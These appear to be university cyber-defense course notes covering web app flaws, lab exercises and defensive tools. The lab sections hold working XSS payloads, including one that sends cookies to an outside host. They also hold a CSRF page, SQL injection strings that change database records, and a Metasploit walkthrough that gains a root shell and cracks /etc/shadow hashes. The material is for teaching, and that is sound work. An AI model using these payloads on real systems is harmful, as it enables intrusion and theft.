NYU SCHOOL OF PROFESSIONAL STUDIES

Cyber Defense
HIGH1-CE9074
Session 4

Introduction to Web Application Security

Homegrown Demos

Unsecure Protocol

A web application running on the good-old "HTTP" protocol means all requests to and responses from the application travel in plain text. A "man-in-the-middle" attack will reveal all sensitive information, including passwords.

Tip: Always run the web application on the "HTTPS" protocol with a trust-worthy certificate.

Demo: The demo application is running on the "HTTP" protocol. Can you capture user ids and passwords? Press F12 to open the network tab and then click on send. Click on the page, make sure the "Headers" tab is selected, and scroll down. Do you see the user id and password?

Weak Admin Password

Many web applications require users to login. For example, anybody can try to log on to https://www.amazon.com/ with a user id and password. To make matters worse, most of the packaged web applications - that you buy off the shelf - come with default admin user id and password, and many companies neglect to change the default password. These passwords are well known and published on many websites for free. Anybody can try to login using these user ids and passwords.

Tip: Always change the default passwords on the operating system and application software you install.

Demo: The demo application has very easy to guess passwords for the admin account. Can you figure out what it is?

Weak Password Reset

On September 16, 2008, during the US presidential election campaign, a young man named David Kernell tried to reset Sarah Palin's email password on Yahoo by answering security questions. All he needed were her birthdate, zip code, and where she met her spouse. He had no problem answering those questions. He got the birthdate and zip code by Google search and learned from Palin's speech that she married her high school sweetheart and, therefore, must have met her spouse at high school. What high school was that? Well, one more search revealed that would indeed be "Wasilla High." Then he accessed her email account and published some of her emails.

Weak security questions and straightforward answers to reset a password remains to be a significant problem today with many sites.

Tip: Always pick difficult security questions and answers. Be creative and deceiving. "Which city were you born in?" "Saturn" would be an exciting but easy-to-remember answer. "What was the model of your first car?" "Boing747" may not be such a bad answer.

Demo: Can you reset the administrator's password using a weak reset process?

Same Password on Multiple Applications

Passwords are hard to remember, particularly long and complex ones. To avoid confusion and frustration with passwords, some people use the same password on multiple sites, particularly if it is very strong. If one of these sites is hacked, the user's access is now compromised in many areas.

Tip: Never use the same password on two or more sites.

Demo: The following data was purchased on the darknet for a nominal fee:

"superuser", "1234"

"tom", "euyeu122*$"

"jerry"," 123YespwREt45*10"

"Mary Beth", "oJVo2KI1TxCHs6B6"

"Robert", "dy7e1788772939T1*"

How can you use this information to hack into our demo site?

Weak Access Control

Applications have access control that defines who can execute sensitive functions like create a user or delete a user. Typically, these options are available if you have permission to perform these functions, but that's never enough. In web applications, these functions are invoked via URLs so anybody can type up the URL even when he/she does not have permission to execute the operations.

Tip: Careful programming must be done so that all the URLs are protected by access control so that no matter how you get the URL, the permission should be checked.

Demo:

Log in to the application as admin, open the network tab (press F12) and perform a delete operation. Did you notice the URL that was invoked for the delete? Copy the URL. Log off. Now, paste the URL on the browser, change it a little. Can you delete another record? But you are not logged in as admin, and you shouldn't have permission.

Seed Lab Demos

In the following few demos, we will use the Seed Lab exercises located at:

https://seedsecuritylabs.org/Labs_16.04/

There is a version 2 beta of these labs, but we will stick to this stable version. These labs require Oracle virtual machine, and you must import a pre-configured Ubuntu (Linux) virtual machine to do the labs. Doing these labs on your own is not easy. We will do this together as a team.

Cross-Site Scripting (XSS)

Cross-site scripting involves two things – first, scripting and then, crossing site.

If a website allows users to input any data, a hacker can inject some JavaScript code instead of data. For example, in the First Name field, the hacker inputs a JavaScript code instead of his name. Now, in every place where the First Name is supposed to be displayed, the JavaScript is executed instead.

Let's focus on crossing the site. The JavaScript injected could be of such nature that it leaks sensitive information from the current site to the hacker's site. That would be an example of a crossing site.

Tip: Always scrub user input in such a way that no JavaScript is allowed. A technique called HTML Escaping can solve the problem.

Demo:

For this lab, we will visit:

http://www.xsslabelgg.com/

Log in as admin and

a) Enter the following snippet in the brief description field of any user:

   fun to hang out with <script>window.alert("You are hacked!")</script>

   Now, all users viewing that profile or listing that profile will receive a JavaScript popup alert stating, "You are hacked!"

b) Enter the following snippet in the brief description field of any other user:

college student. <script>window.alert(document.cookie)</script>

Now, all users viewing that profile or listing that profile will receive a JavaScript popup alert with the current user's cookies.

c) Enter the following snippet in the brief description field of any other user:

<I> a cool duke</I><script>var image = new Image();image.src="http://localhost?myCookie=" + escape(document.cookie);</script>

Please F12 and examine the network tab. You will see a cookie of the current user is posted to the http://localhost site – which could have been the hacker's site instead. This is one way to perform "session hijacking," where the hacker has your browser's session and can perform any action on the site as if you are doing it. Scary!

Cross-Site Request Forgery (CSRF)

The word "forgery" is in there, isn't it? So, this is some kind of forgery. This type of attack tricks a user into executing an unwanted operation on a web application that he/she is currently logged into.

Demo:

In this lab, we will log in as Alice using the following URL:

http://www.csrflabelgg.com

Alice receives an email containing the following link:

http://www.csrflabattacker.com/index.html

The page actually contains the following:

```
<!DOCTYPE html>
<html>
<head>
    <title>Hello Friend</title>
</head>
```

<body>

This is a welcome page from Boby's site. Thank you for visiting

<img src="http://www.csrflabelgg.com/action/friends/add?friend=43">

</body>

</html>

The image tag on the page is fake, and it is pointing to the other application (www.csrflabelgg.com). Whoever has the id 43 (Boby) will become Alice's friend without Alice's knowledge.

This is, in a nutshell, cross-site request forgery.

SQL Injection

Simply put, and SQL Injection is where the hacker attacks the underlying database of the web application. You may ask, how is that even possible? It is possible if the application allows user inputs to go to the database without proper scrutiny. SQL (Structured Query Language) is the language applications use to communicate with the database.

Tip: Application developers must use store procedure or prepared statement to escape from SQL Injection.

Demo:

For this demo, we will visit:

http://www.seedlabsqlinjection.com/

a) Type the following in the username text box:

admin';#

You will get a list of all the users on the system. You have already executed a SQL injection and got results.

b) Login as Alice, go to edit mode of the profile, and type the following in the phone number text box:

Time to hack',salary=99999 where id=1;#

Alice just got a big salary increase!

c) Boby's salary is currently 50,000, and his id is 2. Edit Alice's profile and type the following in the phone number text box:

',salary=salary-1 where id=2;#

Boby’s salary is now $1 less, 49,999.

This is the end of our Application Security Demo.

Application Security Issue Detection Mechanism

Static scan of source code

As we just saw, application code can be exploited by cross-site scripting, SQL injection, and other application vulnerabilities. Source code scanning software like Fortify is typically used to scan the application code to detect such problems.

Dynamic Test of source code

web application security scanners like OWASP ZAP have scripts that will attack an application and try to exploit weak passwords, cross-site scripting, SQL injection, etc.

Web Application Firewall (WAF)

Web application firewall tools can detect and stop some of these attacks.

Network Intrusion Detection and Protection Systems (NIDS, NIPS)

NIDS examines network traffic to detect intrusion. NIPS, on the other hand, stands in front of the network traffic and stops intrusion.

Security information and event management (SIEM)

SIEM monitors all sorts of log files and event notifications in a network, including the logs coming from NIDS, displaying many attacks on a user-friendly dashboard, and sending email/text alerts.

Introduction to Server Security

Pen Testing with Metasploit and Metasploitable2

Metasploit is a penetration testing tool that comes packaged with Kali Linux. If you install Kali Linux, you got Metasploit with it. Here is the bad news. Metasploit is a command-line tool. It would help if you were comfortable with the Linux command prompt to use it. But, wait. There is good news. There is a Graphical User Interface (GUI) that you can use instead. It is called "Armitage," which is also bundled with Metasploit and installs with Kali-Linux (full version). Otherwise, you have to install Armitage on Kali-Linux.

Now, where do you install Kali-Linux while you want to keep your OS intact? On Oracle Virtual Box. We will create a virtual server running Kali Linux. Assume that is all done. What system will we attack using Armitage/Metasploit? Your machine? NYU's website? None of these is a good choice. What we should do instead is install another virtual server called Metasploitable2 on the same Oracle Virtual Box. Metasploitable2 is an Ubuntu-Linux server (not Kali-Linux) that has tons of vulnerabilities in it. This is by design, so people like us can practice penetration testing on it.

Demo:

a. Scan Metasploitable2 from Kali Linux machine:

1. On the command prompt, type:
   armitage
2. A popup to Connect will show up. Click Connect. Say "Yes" on the next screen. Wait for a while.
3. Armitage UI will show up. There are menu items on the top and the side. Let's focus on the top menu now. Select Armitage->Set exploit rank->poor. This step is significant. Next, select Hosts->NMap Scan=>Quick Scan. Enter the IP address of the Metasploitable2 machine (use ifconfig on Metasploitable2 machine to find the IP address).
4. You will see that several ports are open on the Metasploitable2 server at the bottom of the screen. We will attack these ports.

5. On the middle screen, you will see the IP address of Metasploitable2 on a box and popup to Attack it. Right-click on the host icon and select "services," You will see all the ports and what services are running on them.

b. Attack Metasploitable2 from Kali Linux machine:

6. From the Attacks menu on the top, select "Find Attacks". If the scan stops, Go into /usr/share/metasploit-framework/modules folder and delete that particular module causing the problem. Rerun the scan. A pop will confirm that the scan is complete. The box representing the target machine will now have lightning symbols around it showing vulnerabilities are found.
7. Now, the fun begins. Right click on the box representing Metasploitable2. Select "Attack", "ftp" and "vsftpd_234_backdoor". Click "Launch" on the next screen.
8. Right-click on the box. Select "Shell1," and the "interact". You will land on a $ prompt. That's the command prompt of the Metasploitable2 server. You have hacked the Metasploitable2 server. Type:
   whoami
   hostname
   ip address
   ifconfig
9. You will be surprised to see that you are the "root" user on the Metasploitable2 machine. You can do whatever you want to the server. You can destroy the server if you wish.

There are many other ways to get in, and we will explore them in class as time permits.

c. Create backdoor by cracking the password:

10. At the $ prompt, type:
    cat /etc/shadow
11. You will see a list of user ids and hashed passwords separated by a colon and some more stuff separated by a colon. Copy the user id and hashed password for "service".
12. Paste the user id and password in a text file hash.txt in the /dev folder.
13. Type: john -show /dev/hash.txt (we are using john the ripper)
14. You will see that the password for service is "service".
15. Well, we just found a back door in case the front door closes.

16. Lets' try this backdoor now.
17. Go back to Armitage, right-click on the Metasploitable2 icon on Armitage and select "login" and then "telnet". Enter "service" and "service" as user id and password.
18. Right-click on the host icon, and you will see "shell 2" has been created.
19. Right-click on the host icon and select "shell 2" and "interact".
20. You will be on $ prompt. Type:
    whoami
    hostname
    Ip address

Had Metasploitable2 OS and applications were patched, none of these penetration attempts would have been successful.

Final Words on Cyber Defense

Cyber Defense - Personal

As an individual, what can you do to improve your cyber defense? Below are few things that could certainly help:

Automatic Update

If you are using a Windows machine, you must turn on automatic updates. You can check for that by the search for "Automatic Update" from the search option. You can do the same thing with a MAC machine, check out the following URL:

https://support.apple.com/guide/mac-help/get-macos-updates-mchlpx1065/mac

Antivirus Software

Windows Defender is an Antivirus software provided by Microsoft. Please make sure it is turned on if you are using a Windows machine. You can also install third-party Antivirus to protect yourself.

Use VPN on Public WiFi

Never trust any public WiFi. If you are on public WiFi, use a VPN tunnel like TunnelBear (free) before using it for anything.

Secure your Home Router

Make sure a strong password protects the administration of your home router.

Customize Privacy Settings on Software

None of the software you use, including your browser, has a strict privacy policy by default. Please change the default security setting of all software that you use, including your Social Media Software.

Never Let Your Browser Save Your Password

Your browser may prompt you to save your password; never say "Yes". Turn off this feature. Always remember convenience is the enemy of security. Keeping your card key in the car is very convenient, but it is highly unsecured.

Use Long Password

Longer sentences for the password are better than a cryptic but short password. Misspell a word or two in your password to avoid "Dictionary Attack".

Use Two Factor Authentication

Use 2-factor authentication whenever possible. This will force you to login using your password and your phone/email. This increases your defense by many factors. This is inconvenient even for you, therefore, much more secure.

Unique Passwords

Passwords must be unique on every site. Never use the same in two sites. A stolen/cracked password from one site is bad enough; you don't want another site to be compromised because you were lazy enough to use the same password on two sites.

Use Password Manager

Password Manager is a great way to store all your passwords in a secure place, no matter how long or complex they are. Dashlane, 1Password, LastPass, etc., are great tools for this. Make sure you use 2-factor authentication to log in to your password manager, and your password manager logs you out 1) when idle for few seconds 2) when you close your browser.

Cyber Defense - Corporate

What do corporations do to improve cyber defense? There are many tools and techniques that corporations use to enhance their cybersecurity. Below are some of the methods and tools:

Disk Encryption

Tools like McAfee Drive Encryption is full disk encryption software that helps protect data on Microsoft Windows tablets, laptops, and PCs to prevent the loss of sensitive data, especially from lost or stolen equipment.

Antivirus Software

Tools like McAfee Anti-virus software is installed in all servers and workstations to stop malware from attacking machines. These tools receive a frequent update on the list of malware and their protective mechanism.

Patching and Upgrades

Continuous patching and upgrades of phones, tablets, workstations, and servers keep corporates protected from vulnerabilities. Tools like IBM BigFix allows a corporation to keep their workstations and servers up-to-date with patches and upgrades.

Email Quarantine Software

Spam emails and Phishing attacks are everyday events in today's world. Companies use tools to quarantine emails to block such attempts. Proofpoint Protection Server is a tool that monitors incoming emails and filters them, and presents block reports to the users.

Content Caching

One of the best ways to provide a quick response and defend against denial of service (DOS) attack is to use distributed content caching software in front of the public-facing web application. The content caching software will work as a proxy to the company's web infrastructure and render cached contents to the browser whenever available. If the content is not already cached, the software will fetch the content, cache it and then yield to the browser. This way, the subsequent request will be served from the cached. Of course, this mechanism does not help if the content changes on every request, but it works for a large portion of the website. Akamai is a well-known content caching software that is widely used for this type of caching. Akamai has distributed network throughout the globe.

Load Balancing

Having only one web server that handles all the traffic is hazardous. So, companies put out many web servers. These servers distribute the traffic among themselves by using a load balancer in front of them. The browser hits the load-balancer and load-balancer - in turn - decides which server has capacity and hands off the traffic to that server. F5 Big IP is a popular load-balancer.

Proxy Servers

There are two kinds of proxy servers that are in use:

Forward proxy: Forward proxy will receive request clients (browser) and forward it to the ultimate destination or block it based on examination results. For example, a browser proxy

might refuse to let you go to a site known to have malware embedded in the content. Forward proxy protects clients from malleolus or undesirable contents. Zscaler Cloud Firewall is a popular browser proxy that handles SSL inspection.

Reverse proxy: A reverse proxy will take requests on behalf of servers before handing them off to a server. Reverse proxy protects servers from cyber-attacks. With multiple web servers in place, a load balancer is enough. When you have only one server, a reverse proxy makes sense to secure the webserver. NGINX (pronounced Engine X) Plus can act as a reverse proxy. By the way, "NGINX" is a popular web server.

Firewalls

As discussed earlier firewall protects servers and ports. It also allows the creation of DMZ so that only public-facing servers are exposed to the public, and the rest of the infrastructure is protected behind a strict firewall. Palo Alto is a popular firewall software used for this purpose.

Web Application Firewalls

A web application firewall filters, monitors, and blocks HTTP traffic to and from a web application. A WAF is differentiated from a regular firewall in that a WAF can filter the content of specific web applications. In contrast, typical firewalls serve as a safety gate by blocking IPs/ports. A WAF can stop denial of service attacks, can block users of specific geographic areas, and many other things using sophisticated rules. Imperva WAF is a popular tool for this purpose.

In the case of distributed denial of service attacks, even a WAF is not enough. The problem is there are two kinds of bots - good bots and bad bots. Search engines deploy good bots like google, bing, etc. to crawl your site and index your pages for search results. The hackers deploy bad bots. An organization should entertain good bots and block bad bots. This is hard to do. In those cases, tools are needed to identify the signature of the bad bots. Tools like Distill from Distill Network can be used to protect from bad bots.

Vulnerability Management

Vulnerabilities of servers and networks pop up regularly. Companies need a tool to discover them, prioritize them and finally confirm that exposure has been remediated. Nexpose, Rapid7

is vulnerability management software that monitors exposures in real-time and adapts to new threats with fresh data, ensuring you companies always act before the impact.

BOT Detection and Mitigation Software

This type of software identifies bot activity on a website and prevents scraping, fraud, and other security issues. The software tracks the traffic to a website and sorts them by actual human users, good BOTs, bad BOTs. It then blocks bad bots and allows the rest. Distil Networks is such a BOT management software.

Security information and event management (SIEM) product

Essentially a SIEM software is an application log monitoring system. It collects and aggregates log data generated throughout the organization's technology infrastructure, from host systems and applications to network and security devices such as firewalls and antivirus filters and alerts when malicious activities are detected. IBM's QRADAR is a popular SIEM tool that companies use.

Penetration Testing

A penetration test, otherwise known as a pen test, is an authorized simulated cyber-attack on a computer system performed to evaluate the system's security. Netragard is a popular pen-testing platform.

Security Scoring Platform

Like a credit score, there are companies now rating security scores for other companies. These Security Scoring platforms typically give companies security scores and provide reports about the details of the score. Based on the reporting company rectify security concerns to increase security rating.

Honeypot

A honeypot is a computer intended to mimic likely targets of cyberattacks. It can be used to detect attacks or deflect them from a legitimate target. It can also be used to gain information about how cybercriminals operate. ThreadStrike from Attivo is a tool to set up such Honeypots.

This is the end of this course. It is an honor to work with you on such a complex topic as cyber defense. I hope we all learned few things and are well equipped to advance our knowledge on the subject. Thank you all.